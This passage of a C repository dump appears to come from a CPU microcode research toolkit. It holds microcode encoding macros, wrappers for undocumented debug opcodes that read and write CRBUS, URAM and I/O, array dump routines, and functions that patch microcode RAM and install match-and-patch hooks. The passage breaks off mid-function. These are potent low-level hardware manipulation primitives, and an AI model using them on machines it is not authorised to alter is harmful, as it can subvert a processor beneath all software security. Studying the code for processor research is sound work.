29 | } 30 | 31 | // generic stuff 32 | 33 | #define CRC_UOP_MASK 0x3FFFFFFFFFFFUL 34 | #define CRC_SEQ_MASK 0xFFFFFFFUL 35 | 36 | #define IMM_ENCODE_SRC0(src0_id) \ 37 | (((src0_id) & 0xffUL) << 24) | (((src0_id) & 0x1f00)<< 10) | (((src0_id) & 0xe000) >> 13) | (1 << 3) 38 | 39 | #define IMM_ENCODE_SRC1(src1_id) \ 40 | (((src1_id) & 0xffUL) << 24) | (((src1_id) & 0x1f00)<< 10) | (((src1_id) & 0xe000) >> 7) | (1 << 9) 41 | 42 | #define IMM0_ENCODE(imm) \ 43 | (((imm)&0xffUL) << 24) 44 | 45 | #define IMM1_ENCODE(imm) \ 46 | (((imm)&0x1fUL) << 18) 47 | 48 | #define SRC0_ENCODE(val) \ 49 | (((val) & 0x3f) << 0) 50 | 51 | #define SRC1_ENCODE(val) \ 52 | (((val) & 0x3f) << 6) 53 | 54 | #define DST_ENCODE(val) \ 55 | (((val) & 0x3f) << 12) 56 | 57 | #define CRC_SEQ(seq) \ 58 | (( (seq) & CRC_SEQ_MASK) | ((parity0((seq)&CRC_SEQ_MASK) << 28) | (parity1((seq)&CRC_SEQ_MASK) << 29))) 59 | 60 | #define CRC_UOP(uop) \ 61 | (( (uop) & CRC_UOP_MASK) | (parity0((uop)&CRC_UOP_MASK) << 46) | (parity1((uop)&CRC_UOP_MASK) << 47)) 62 | 63 | #define INSTR_I0(imm) ( IMM_ENCODE_SRC0(imm) ) 64 | #define INSTR_I1(imm) ( IMM_ENCODE_SRC1(imm) ) 65 | #define INSTR_R0(src) ( SRC0_ENCODE(src) ) 66 | #define INSTR_R1(src) ( SRC1_ENCODE(src) ) 67 | #define INSTR_M0(macro) ( IMM_ENCODE_SRC0(macro) | MOD0 ) 68 | #define INSTR_M1(macro) ( IMM_ENCODE_SRC1(macro) | MOD0 ) 69 | #define INSTR_DI0(dst, imm) ( DST_ENCODE(dst) | IMM_ENCODE_SRC0(imm) ) 70 | #define INSTR_DI1(dst, imm) ( DST_ENCODE(dst) | IMM_ENCODE_SRC1(imm) ) 71 | #define INSTR_DR0(dst, src) ( DST_ENCODE(dst) | SRC0_ENCODE(src) ) 72 | #define INSTR_DR1(dst, src) ( DST_ENCODE(dst) | SRC1_ENCODE(src) ) 73 | #define INSTR_DM0(dst, macro) ( DST_ENCODE(dst) | IMM_ENCODE_SRC0(macro) | MOD0 ) 74 | #define INSTR_DM1(dst, macro) ( DST_ENCODE(dst) | IMM_ENCODE_SRC1(macro) | MOD0 ) 75 | #define INSTR_RR(src0, src1) ( SRC0_ENCODE(src0) | SRC1_ENCODE(src1) ) 76 | #define INSTR_RI(src, imm) ( SRC0_ENCODE(src) | IMM_ENCODE_SRC1(imm) ) 77 | #define INSTR_IR(imm, src) ( IMM_ENCODE_SRC0(imm) | SRC1_ENCODE(src) ) 78 | #define INSTR_RM(src, macro) ( SRC0_ENCODE(src) | IMM_ENCODE_SRC1(macro) | MOD0 ) 79 | #define INSTR_MR(macro, src) ( IMM_ENCODE_SRC0(macro) | SRC1_ENCODE(src) | MOD0 ) 80 | #define INSTR_DRR(dst, src0, src1) ( DST_ENCODE(dst) | SRC0_ENCODE(src0) | SRC1_ENCODE(src1) ) 81 | #define INSTR_DRI(dst, src, imm) ( DST_ENCODE(dst) | SRC0_ENCODE(src) | IMM_ENCODE_SRC1(imm) ) 82 | #define INSTR_DIR(dst, imm, src) ( DST_ENCODE(dst) | IMM_ENCODE_SRC0(imm) | SRC1_ENCODE(src) ) 83 | #define INSTR_DRM(dst, src, macro) ( DST_ENCODE(dst) | SRC0_ENCODE(src) | IMM_ENCODE_SRC1(macro) | MOD0 ) 84 | #define INSTR_DMR(dst, macro, src) ( DST_ENCODE(dst) | IMM_ENCODE_SRC0(macro) | SRC1_ENCODE(src) | MOD0 ) 85 | 86 | #define MEMOP_ENCODE(dst, base_reg, index_reg, offset, seg) \ 87 | ( DST_ENCODE(dst) | SRC0_ENCODE(base_reg) | SRC1_ENCODE(index_reg) | IMM0_ENCODE(offset) | IMM1_ENCODE(seg) ) 88 | 89 | #include "inst.h" 90 | 91 | // segment fields 92 | #define RDSEGFLD(dst, seg, fld) \ 93 | ( _RDSEGFLD | DST_ENCODE(dst) | IMM0_ENCODE((fld)<<4) | IMM1_ENCODE(seg) ) 94 | 95 | #define WRSEGFLD(src, seg, fld) \ 96 | ( _WRSEGFLD | SRC0_ENCODE(src) | IMM0_ENCODE(((fld)<<4) | ((seg)&0x1f)) ) 97 | 98 | // stagingbuf to reg 99 | 100 | /** \defgroup LDSTGBUF 101 | * @{ 102 | */ 103 | #define LDSTGBUF_DSZ64_ASZ16_SC1_DI(dst, addr_imm) \ 104 | ( _LDSTGBUF_DSZ64_ASZ16_SC1 | DST_ENCODE(dst) | IMM_ENCODE_SRC0(addr_imm) | MOD2 ) 105 | 106 | #define LDSTGBUF_DSZ64_ASZ16_SC1_DR(dst, addr_reg) \ 107 | ( _LDSTGBUF_DSZ64_ASZ16_SC1 | DST_ENCODE(dst) | SRC0_ENCODE(addr_reg) | MOD2 ) 108 | /** @} */ 109 | 110 | /** \defgroup STADSTGBUF 111 | * @{ 112 | */ 113 | #define STADSTGBUF_DSZ64_ASZ16_SC1_RI(src, addr_imm) \ 114 | ( _STADSTGBUF_DSZ64_ASZ16_SC1 | DST_ENCODE(src) | IMM_ENCODE_SRC0(addr_imm) | MOD2 ) 115 | 116 | #define STADSTGBUF_DSZ64_ASZ16_SC1_RR(src, addr_reg) \ 117 | ( _STADSTGBUF_DSZ64_ASZ16_SC1 | DST_ENCODE(src) | SRC0_ENCODE(addr_reg) | MOD2 ) 118 | /** @} */ 119 | 120 | #define SFENCE _SFENCE 121 | 122 | /** \defgroup READUIP_REGOVR 123 | * @{ 124 | */ 125 | #define READUIP_REGOVR0(dst) \ 126 | ( _READUIP_REGOVR | DST_ENCODE(dst) | SRC0_ENCODE(0x10) ) 127 | 128 | #define READUIP_REGOVR1(dst) \ 129 | ( _READUIP_REGOVR | DST_ENCODE(dst) | SRC0_ENCODE(0x10) | MOD0 ) 130 | /** @} */ 131 | 132 | /** \defgroup SAVEUIP 133 | * @{ 134 | */ 135 | #define SAVEUIP0_DI(dst, addr) \ 136 | ( _SAVEUIP | DST_ENCODE(dst) | IMM_ENCODE_SRC1( (addr) ) | IMM_ENCODE_SRC0(0) ) 137 | 138 | #define SAVEUIP1_DI(dst, addr) \ 139 | ( _SAVEUIP | DST_ENCODE(dst) | IMM_ENCODE_SRC1( (addr) ) | IMM_ENCODE_SRC0(0) | MOD0 ) 140 | 141 | #define SAVEUIP0_I(addr) SAVEUIP0_DI(0, addr) 142 | #define SAVEUIP1_I(addr) SAVEUIP1_DI(0, addr) 143 | /** @} */ 144 | 145 | /** \defgroup SAVEUIP_REGOVR 146 | * @{ 147 | */ 148 | #define SAVEUIP_REGOVR0(imm) \ 149 | ( _SAVEUIP_REGOVR | IMM_ENCODE_SRC1(imm) ) 150 | #define SAVEUIP_REGOVR1(imm) \ 151 | ( _SAVEUIP_REGOVR | IMM_ENCODE_SRC1(imm) | MOD0 ) 152 | /** @} */ 153 | 154 | /** \defgroup UPDATEUSTATE 155 | * @{ 156 | */ 157 | #define UPDATEUSTATE_I(testbits) \ 158 | ( _UPDATEUSTATE | IMM_ENCODE_SRC1(testbits) ) 159 | 160 | #define UPDATEUSTATE_NOT_I(testbits) \ 161 | ( _UPDATEUSTATE | IMM_ENCODE_SRC1(testbits) | MOD0 ) 162 | 163 | #define UPDATEUSTATE_RI(src, testbits) \ 164 | ( _UPDATEUSTATE | SRC0_ENCODE(src) | IMM_ENCODE_SRC1(testbits) ) 165 | 166 | #define UPDATEUSTATE_NOT_RI(src, testbits) \ 167 | ( _UPDATEUSTATE | SRC0_ENCODE(src) | IMM_ENCODE_SRC1(testbits) | MOD0 ) 168 | /** @} */ 169 | 170 | /** \defgroup TESTUSTATE 171 | * @{ 172 | */ 173 | #define TESTUSTATE_UCODE(testbits) \ 174 | ( _TESTUSTATE | IMM_ENCODE_SRC1(testbits) ) 175 | 176 | #define TESTUSTATE_SYS(testbits) \ 177 | ( _TESTUSTATE | IMM_ENCODE_SRC1(testbits) | MOD1 ) 178 | 179 | #define TESTUSTATE_VMX(testbits) \ 180 | ( _TESTUSTATE | IMM_ENCODE_SRC1(testbits) | MOD1 | MOD2 ) 181 | 182 | #define TESTUSTATE_UCODE_NOT(testbits) \ 183 | ( _TESTUSTATE | IMM_ENCODE_SRC1(testbits) | MOD0 ) 184 | 185 | #define TESTUSTATE_SYS_NOT(testbits) \ 186 | ( _TESTUSTATE | IMM_ENCODE_SRC1(testbits) | MOD1 | MOD0 ) 187 | 188 | #define TESTUSTATE_VMX_NOT(testbits) \ 189 | ( _TESTUSTATE | IMM_ENCODE_SRC1(testbits) | MOD1 | MOD2 | MOD0 ) 190 | /** @} */ 191 | 192 | /** \defgroup URET 193 | * @{ 194 | */ 195 | #define URET0 \ 196 | ( _URET ) 197 | 198 | #define URET1 \ 199 | ( _URET | MOD0 ) 200 | /** @} */ 201 | 202 | #define UNK256 ( (0x256UL << 32) | MOD1 ) 203 | 204 | /** \defgroup UFLOWCTRL 205 | * @{ 206 | */ 207 | #define FLOW_CTRL_UNK 0x01 208 | #define FLOW_CTRL_URET0 0x0a 209 | #define FLOW_CTRL_URET1 0x0b 210 | #define FLOW_CTRL_LDAT_IN 0x0d 211 | #define FLOW_CTRL_MSLOOPCTR 0x0e 212 | #define FLOW_CTRL_USTATE 0x0f 213 | 214 | #define UFLOWCTRL_DR(dst, reg, uop) \ 215 | ( _UFLOWCTRL | DST_ENCODE(dst) | (((uop)&0xff)<<24) | SRC1_ENCODE(reg) ) 216 | 217 | #define UFLOWCTRL_R(reg, uop) \ 218 | ( UFLOWCTRL_DR(0, reg, uop) ) 219 | /** @} */ 220 | 221 | /** \defgroup AETTRACE 222 | * @{ 223 | */ 224 | #define AETTRACE_DCR(dst, val, src) \ 225 | ( _AETTRACE | DST_ENCODE(dst) | (((val)&0x1f)<<18) | SRC1_ENCODE(src) ) 226 | 227 | #define AETTRACE_DCM(dst, val, macro) \ 228 | ( _AETTRACE | DST_ENCODE(dst) | (((val)&0x1f)<<18) | IMM_ENCODE_SRC1(macro) | MOD0 ) 229 | /** @} */ 230 | 231 | #include "seqword.h" 232 | 233 | // helpers 234 | #define PUSHREG(src) \ 235 | SUB_DSZ64_DIR(RSP, 0x8, RSP), MOVE_DSZ64_DR(TMP0, src), STAD_DSZ64_ASZ32_SC1_RR(TMP0, RSP, 0x3, 0x1a) 236 | 237 | #define PUSHCREG(creg) \ 238 | SUB_DSZ64_DIR(RSP, 0x8, RSP), MOVEFROMCREG_DSZ64_DI(TMP0, creg), STAD_DSZ64_ASZ32_SC1_RR(TMP0, RSP, 0x3, 0x1a) 239 | 240 | #define POPREG(dst) \ 241 | LDZX_DSZ64_ASZ32_SC1_DR(TMP0, RSP, 0x3, 0x1a), MOVE_DSZ64_DR(dst, TMP0), ADD_DSZ64_DRI(RSP, RSP, 0x8) 242 | 243 | #define POPCREG(creg) \ 244 | LDZX_DSZ64_ASZ32_SC1_DR(TMP0, RSP, 0x3, 0x1a), MOVETOCREG_DSZ64_DI(TMP0, creg), ADD_DSZ64_DRI(RSP, RSP, 0x8) 245 | 246 | //see section 247 | #define PINTMOVQI2XMMLQ_DSZ64(xmm_dst, src) \ 248 | ( _PINTMOVQI2XMMLQ_DSZ64 | DST_ENCODE(xmm_dst) | SRC0_ENCODE(src) | MOD2 ) 249 | 250 | #define PINTMOVQXMMLQ2I_DSZ64(dst, xmm_src) \ 251 | ( _PINTMOVQXMMLQ2I_DSZ64 | DST_ENCODE(dst) | SRC0_ENCODE(xmm_src) | MOD2 ) 252 | 253 | #define MOVUSS(dst, src) \ 254 | _MOVUSS | DST_ENCODE(dst) | SRC0_ENCODE(src) 255 | 256 | #define SHUFSS(dst, src) \ 257 | _SHUFSS | DST_ENCODE(dst) | SRC0_ENCODE(src) 258 | 259 | #define MOVUSD(dst, src) \ 260 | _MOVUSD | DST_ENCODE(dst) | SRC0_ENCODE(src) 261 | 262 | #define SHUFSD(dst, src) \ 263 | _SHUFSD | DST_ENCODE(dst) | SRC0_ENCODE(src) 264 | 265 | #define MOVUPD(dst, src) \ 266 | _MOVUPD | DST_ENCODE(dst) | SRC0_ENCODE(src) 267 | 268 | #define SHUFPD(dst, src) \ 269 | _SHUFPD | DST_ENCODE(dst) | SRC0_ENCODE(src) 270 | 271 | #define MOVUPS(dst, src) \ 272 | _MOVUPS | DST_ENCODE(dst) | SRC0_ENCODE(src) 273 | 274 | #define SHUFPS(dst, src) \ 275 | _SHUFPS | DST_ENCODE(dst) | SRC0_ENCODE(src) 276 | 277 | #define MULSS(dst, src, src2) \ 278 | _MULSS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 279 | 280 | #define SQRTSS(dst, src, src2) \ 281 | _SQRTSS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 282 | 283 | #define DIVSS(dst, src, src2) \ 284 | _DIVSS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 285 | 286 | #define ADDSS(dst, src, src2) \ 287 | _ADDSS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 288 | 289 | #define SUBSS(dst, src, src2) \ 290 | _SUBSS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 291 | 292 | #define MINSS(dst, src, src2) \ 293 | _MINSS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 294 | 295 | #define CMPSS(dst, src, src2) \ 296 | _CMPSS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 297 | 298 | #define MAXSS(dst, src, src2) \ 299 | _MAXSS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 300 | 301 | #define SQRTSD(dst, src, src2) \ 302 | _SQRTSD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 303 | 304 | #define DIVSD(dst, src, src2) \ 305 | _DIVSD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 306 | 307 | #define ADDSD(dst, src, src2) \ 308 | _ADDSD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 309 | 310 | #define SUBSD(dst, src, src2) \ 311 | _SUBSD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 312 | 313 | #define MINSD(dst, src, src2) \ 314 | _MINSD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 315 | 316 | #define CMPSD(dst, src, src2) \ 317 | _CMPSD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 318 | 319 | #define MAXSD(dst, src, src2) \ 320 | _MAXSD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 321 | 322 | #define MULPD(dst, src, src2) \ 323 | _MULPD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 324 | 325 | #define SQRTPD(dst, src, src2) \ 326 | _SQRTPD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 327 | 328 | #define DIVPD(dst, src, src2) \ 329 | _DIVPD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 330 | 331 | #define ADDPD(dst, src, src2) \ 332 | _MADDPD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 333 | 334 | #define SUBPD(dst, src, src2) \ 335 | _SUBPD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 336 | 337 | #define MINPD(dst, src, src2) \ 338 | _MINPD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 339 | 340 | #define CMPPD(dst, src, src2) \ 341 | _CMPPD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 342 | 343 | #define MAXPD(dst, src, src2) \ 344 | _MAXPD | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 345 | 346 | #define MULPS(dst, src, src2) \ 347 | _MULPS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 348 | 349 | #define SQRTPS(dst, src, src2) \ 350 | _SQRTPS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 351 | 352 | #define DIVPS(dst, src, src2) \ 353 | _DIVPS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 354 | 355 | #define ADDPS(dst, src, src2) \ 356 | _ADDPS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 357 | 358 | #define SUBPS(dst, src, src2) \ 359 | _SUBPS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 360 | 361 | #define MINPS(dst, src, src2) \ 362 | _MINPS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 363 | 364 | #define CMPPS(dst, src, src2) \ 365 | _CMPPS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 366 | 367 | #define MAXPS(dst, src, src2) \ 368 | _MAXPS | DST_ENCODE(dst) | SRC0_ENCODE(src) | SRC1_ENCODE(src2) 369 | 370 | #endif // UCODE_MACRO_H_ 371 | -------------------------------------------------------------------------------- /include/udbg.h: -------------------------------------------------------------------------------- 1 | #ifndef UDBG_H_ 2 | #define UDBG_H_ 3 | #include "misc.h" 4 | #include 5 | 6 | typedef struct { 7 | u64 value; 8 | u64 status; 9 | } u_result_t; 10 | 11 | __attribute__((always_inline)) 12 | u_result_t static inline udbgrd(uint64_t type, uint64_t addr) { 13 | lmfence(); 14 | u_result_t res; 15 | asm volatile( 16 | ".byte 0x0F, 0x0E\n\t" 17 | : "=d" (res.value) 18 | , "=b" (res.status) 19 | : "a" (addr) 20 | , "c" (type) 21 | ); 22 | lmfence(); 23 | return res; 24 | } 25 | 26 | __attribute__((always_inline)) 27 | u_result_t static inline udbgwr(uint64_t type, uint64_t addr, uint64_t value) { 28 | uint32_t value_low = (uint32_t)(value & 0xFFFFFFFF); 29 | uint32_t value_high = (uint32_t)(value >> 32); 30 | u_result_t res; 31 | lmfence(); 32 | asm volatile( 33 | ".byte 0x0F, 0x0F\n\t" 34 | : "=d" (res.value) 35 | , "=b" (res.status) 36 | : "a" (addr) 37 | , "c" (type) 38 | , "d" (value_low) 39 | , "b" (value_high) 40 | ); 41 | lmfence(); 42 | return res; 43 | } 44 | 45 | __attribute__((always_inline)) 46 | uint64_t static inline ucode_invoke(uint64_t addr) { 47 | uint64_t rax = addr, rcx = 0xD8; 48 | lmfence(); 49 | asm volatile( 50 | ".byte 0x0F, 0x0F\n\t" 51 | : "+a" (rax) 52 | , "+c" (rcx) 53 | : 54 | : "rbx", "rdx", "rdi", "rsi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15" 55 | ); 56 | lmfence(); 57 | return rax; 58 | } 59 | 60 | __attribute__((always_inline)) 61 | general_purpose_regs static inline generic_ucode_invoke(uint64_t addr) { 62 | general_purpose_regs regs; 63 | memset(®s, 0, sizeof(regs)); 64 | regs.rcx = 0xD8; 65 | regs.rax = addr; 66 | lmfence(); 67 | asm volatile( 68 | ".byte 0x0F, 0x0F\n\t" 69 | : "+a" (regs.rax) 70 | , "+b" (regs.rbx) 71 | , "+c" (regs.rcx) 72 | , "+d" (regs.rdx) 73 | : 74 | : "rdi", "rsi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15" 75 | ); 76 | lmfence(); 77 | return regs; 78 | } 79 | 80 | __attribute__((always_inline)) 81 | u64 static inline ucode_invoke_2(u64 addr, u64 arg1, u64 arg2) { 82 | uint64_t rax = addr, rcx = 0xD8; 83 | lmfence(); 84 | asm volatile( 85 | ".byte 0x0F, 0x0F\n\t" 86 | : "+a" (rax) 87 | , "+c" (rcx) 88 | , "+rdi" (arg1) 89 | , "+rsi" (arg2) 90 | : 91 | : "rbx", "rdx", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15" 92 | ); 93 | lmfence(); 94 | return rax; 95 | } 96 | 97 | __attribute__((always_inline)) 98 | u64 static inline ucode_invoke_3(u64 addr, u64 arg1, u64 arg2, u64 arg3) { 99 | u64 rax = addr, rcx = 0xD8; 100 | lmfence(); 101 | asm volatile( 102 | ".byte 0x0F, 0x0F\n\t" 103 | : "+a" (rax) 104 | , "+c" (rcx) 105 | , "+rdi" (arg1) 106 | , "+rsi" (arg2) 107 | , "+rdx" (arg3) 108 | : 109 | : "rbx", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15" 110 | ); 111 | lmfence(); 112 | return rax; 113 | } 114 | 115 | #define SIMPLERD(name, type) \ 116 | __attribute__((always_inline)) \ 117 | u64 static inline name(u64 addr) { \ 118 | return (u64)udbgrd(type, addr).value; \ 119 | } 120 | 121 | SIMPLERD(crbus_read, 0x00) 122 | SIMPLERD(uram_read, 0x10) 123 | SIMPLERD(io8_read, 0x18) 124 | SIMPLERD(io16_read, 0x48) 125 | SIMPLERD(io32_read, 0x50) 126 | SIMPLERD(io64_read, 0x58) 127 | SIMPLERD(staging_read, 0x80) 128 | SIMPLERD(staging2_read, 0x40) 129 | 130 | #undef SIMPLERD 131 | 132 | #define STATUSRD(name, type) \ 133 | __attribute__((always_inline)) \ 134 | u_result_t static inline name(u64 addr) { \ 135 | return udbgrd(type, addr); \ 136 | } 137 | 138 | STATUSRD(sa_read, 0x08) 139 | 140 | #undef STATUSRD 141 | 142 | #define SIMPLEWR(name, type) \ 143 | __attribute__((always_inline)) \ 144 | void static inline name(u64 addr, u64 value) { \ 145 | udbgwr(type, addr, value); \ 146 | } 147 | 148 | SIMPLEWR(crbus_write, 0x00) 149 | SIMPLEWR(uram_write, 0x10) 150 | SIMPLEWR(io8_write, 0x18) 151 | SIMPLEWR(io16_write, 0x48) 152 | SIMPLEWR(io32_write, 0x50) 153 | SIMPLEWR(io64_write, 0x58) 154 | SIMPLEWR(staging_write, 0x80) 155 | SIMPLEWR(staging2_write, 0x40) 156 | 157 | #undef SIMPLEWR 158 | 159 | #define RBXWR(name, type) \ 160 | __attribute__((always_inline)) \ 161 | u64 static inline name(u64 addr, u64 value) { \ 162 | return (u64)udbgwr(type, addr, value).status; \ 163 | } 164 | 165 | RBXWR(sa_write, 0x08) 166 | 167 | #undef RBXWR 168 | 169 | #define RDXWR(name, type) \ 170 | __attribute__((always_inline)) \ 171 | u64 static inline name(u64 addr, u64 value) { \ 172 | return (u64)udbgwr(type, addr, value).value; \ 173 | } 174 | 175 | RDXWR(iosf_sb_write, 0xD0) 176 | 177 | #undef RDXWR 178 | 179 | uint64_t ucode_invoke(uint64_t addr); 180 | u64 ucode_invoke_2(u64 addr, u64 arg1, u64 arg2); 181 | u64 ucode_invoke_3(u64 addr, u64 arg1, u64 arg2, u64 arg3); 182 | #endif // UDBG_H_ 183 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | breathe~=4.35.0 2 | Sphinx~=6.1.3 3 | sphinxcontrib-applehelp~=1.0.4 4 | sphinxcontrib-devhelp~=1.0.2 5 | sphinxcontrib-htmlhelp~=2.0.1 6 | sphinxcontrib-jsmath~=1.0.1 7 | sphinxcontrib-qthelp~=1.0.3 8 | sphinxcontrib-serializinghtml~=1.1.5 9 | sphinxcontrib-bitfield~=0.4.2 10 | sphinx-rtd-theme~=1.2.0 11 | sphinx-autobuild 12 | -------------------------------------------------------------------------------- /source/dump.c: -------------------------------------------------------------------------------- 1 | #include "dump.h" 2 | #include "udbg.h" 3 | #include "patch.h" 4 | 5 | void ms_array_dump(u64 array_sel, u64 fast_addr, u64 size) { 6 | 7 | for (; fast_addr < size; fast_addr+=4) { 8 | u64 val0 = ldat_array_read(0x6a0, array_sel, 0, 0, fast_addr); 9 | u64 val1 = ldat_array_read(0x6a0, array_sel, 0, 0, fast_addr+1); 10 | u64 val2 = ldat_array_read(0x6a0, array_sel, 0, 0, fast_addr+2); 11 | u64 val3 = ldat_array_read(0x6a0, array_sel, 0, 0, fast_addr+3); 12 | printf("%04lx: %012lx %012lx %012lx %012lx\n", fast_addr, val0, val1, val2, val3); 13 | } 14 | } 15 | 16 | void ms_ro_code_dump(void){ 17 | puts("array 00:"); 18 | ms_array_dump(0, 0, 0x7e00); 19 | } 20 | 21 | void ms_ro_seqw_dump(void){ 22 | puts("array 01:"); 23 | ms_array_dump(1, 0, 0x8000); 24 | } 25 | 26 | void ms_rw_seqw_dump(void){ 27 | puts("array 02:"); 28 | ms_array_dump(2, 0, 0x80); 29 | } 30 | 31 | void ms_match_n_patch_dump(void){ 32 | puts("array 03:"); 33 | ms_array_dump(3, 0, 0x20); 34 | } 35 | 36 | void ms_rw_code_dump(void){ 37 | puts("array 04:"); 38 | ms_array_dump(4, 0, 0x200); 39 | } 40 | 41 | void uram_dump(void) { 42 | for (u64 i = 0; i < 0x100; i += 4) { 43 | u64 val0 = uram_read(i); 44 | u64 val1 = uram_read(i+1); 45 | u64 val2 = uram_read(i+2); 46 | u64 val3 = uram_read(i+3); 47 | printf("%04lx: %016lx %016lx %016lx %016lx\n", i, val0, val1, val2, val3); 48 | } 49 | } 50 | 51 | void crbus_dump(void) { 52 | for (u64 i = 0; i < 0x800; i += 4) { 53 | u64 val0 = crbus_read(i); 54 | u64 val1 = crbus_read(i+1); 55 | u64 val2 = crbus_read(i+2); 56 | u64 val3 = crbus_read(i+3); 57 | printf("%04lx: %016lx %016lx %016lx %016lx\n", i, val0, val1, val2, val3); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /source/ldat.c: -------------------------------------------------------------------------------- 1 | #include "ldat.h" 2 | #include "udbg.h" 3 | 4 | void ldat_array_write(u64 pdat_reg, u64 array_sel, u64 bank_sel, u64 dword_idx, u64 fast_addr, u64 val) { 5 | u64 prev = crbus_read(0x692); 6 | crbus_write(0x692, prev | 1); 7 | 8 | crbus_write(pdat_reg + 1, 0x30000 | ((dword_idx & 0xf) << 12) | ((array_sel & 0xf) << 8) | (bank_sel & 0xf)); 9 | crbus_write(pdat_reg, 0x000000 | (fast_addr & 0xffff)); 10 | crbus_write(pdat_reg + 4, val & 0xffffffff); 11 | crbus_write(pdat_reg + 5, (val >> 32) & 0xffff); 12 | crbus_write(pdat_reg + 1, 0); 13 | 14 | crbus_write(0x692, prev); 15 | } 16 | 17 | void ms_array_write(u64 array_sel, u64 bank_sel, u64 dword_idx, u64 fast_addr, u64 val) { 18 | ldat_array_write(0x6a0, array_sel, bank_sel, dword_idx, fast_addr, val); 19 | } 20 | 21 | u64 ms_array_read(u64 array_sel, u64 bank_sel, u64 dword_idx, u64 fast_addr) { 22 | return ldat_array_read(0x6a0, array_sel, bank_sel, dword_idx, fast_addr); 23 | } 24 | -------------------------------------------------------------------------------- /source/patch.c: -------------------------------------------------------------------------------- 1 | #include "patch.h" 2 | #include "ldat.h" 3 | #include "ucode_macro.h" 4 | 5 | u64 ucode_addr_to_patch_addr(u64 addr) { 6 | return addr - 0x7c00; 7 | } 8 | 9 | u64 patch_addr_to_ucode_addr(u64 addr) { 10 | // NOTICE: This is not the inverse 11 | u64 mul = addr % 0x80; 12 | u64 off = addr / 0x80; 13 | return 0x7c00 + mul*4 + off; 14 | } 15 | 16 | u64 ucode_addr_to_patch_seqword_addr(u64 addr) { 17 | u64 base = addr - 0x7c00; 18 | u64 seq_addr = ((base%4) * 0x80 + (base/4)); 19 | return seq_addr % 0x80; 20 | } 21 | 22 | void patch_ucode(u64 addr, ucode_t ucode_patch[], int n) { 23 | // format: uop0, uop1, uop2, seqword 24 | // uop3 is fixed to a nop and cannot be overridden 25 | for (int i = 0; i < n; i++) { 26 | // patch ucode 27 | ms_rw_code_write(ucode_addr_to_patch_addr(addr + i*4)+0, CRC_UOP(ucode_patch[i].uop0)); 28 | ms_rw_code_write(ucode_addr_to_patch_addr(addr + i*4)+1, CRC_UOP(ucode_patch[i].uop1)); 29 | ms_rw_code_write(ucode_addr_to_patch_addr(addr + i*4)+2, CRC_UOP(ucode_patch[i].uop2)); 30 | // patch seqword 31 | ms_rw_seq_write(ucode_addr_to_patch_seqword_addr(addr) + i, CRC_SEQ(ucode_patch[i].seqw)); 32 | } 33 | } 34 | 35 | void print_patch(u64 addr, ucode_t ucode_patch[], int n) { 36 | for (int i = 0; i < n; i++) { 37 | printf("%04lx: %012lx %012lx %012lx %08lx\n", addr+i*4, ucode_patch[i].uop0, ucode_patch[i].uop1, ucode_patch[i].uop2, ucode_patch[i].seqw); 38 | } 39 | } 40 | 41 | void init_match_and_patch(void) { 42 | #include "ucode/match_and_patch_init.h" 43 | patch_ucode(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 44 | u64 ret = ucode_invoke(addr); 45 | /* if (verbose) */ 46 | /* printf("init_match_and_patch: %lx\n", ret); */ 47 | enable_match_and_patch(); 48 | } 49 | 50 | void hook_match_and_patch(u64 entry_idx, u64 ucode_addr, u64 patch_addr) { 51 | if (ucode_addr % 2 != 0) { 52 | printf("[-] uop address must be even\n"); 53 | return; 54 | } 55 | if (patch_addr % 2 != 0) { 56 | printf("[-] patch uop address must be even\n"); 57 | return; 58 | } 59 | 60 | u64 dst = patch_addr / 2; 61 | u64 patch_value = (dst << 16) | ucode_addr | 1; 62 | 63 | #include "ucode/match_and_patch_hook.h" 64 | patch_ucode(addr, ucode_patch, 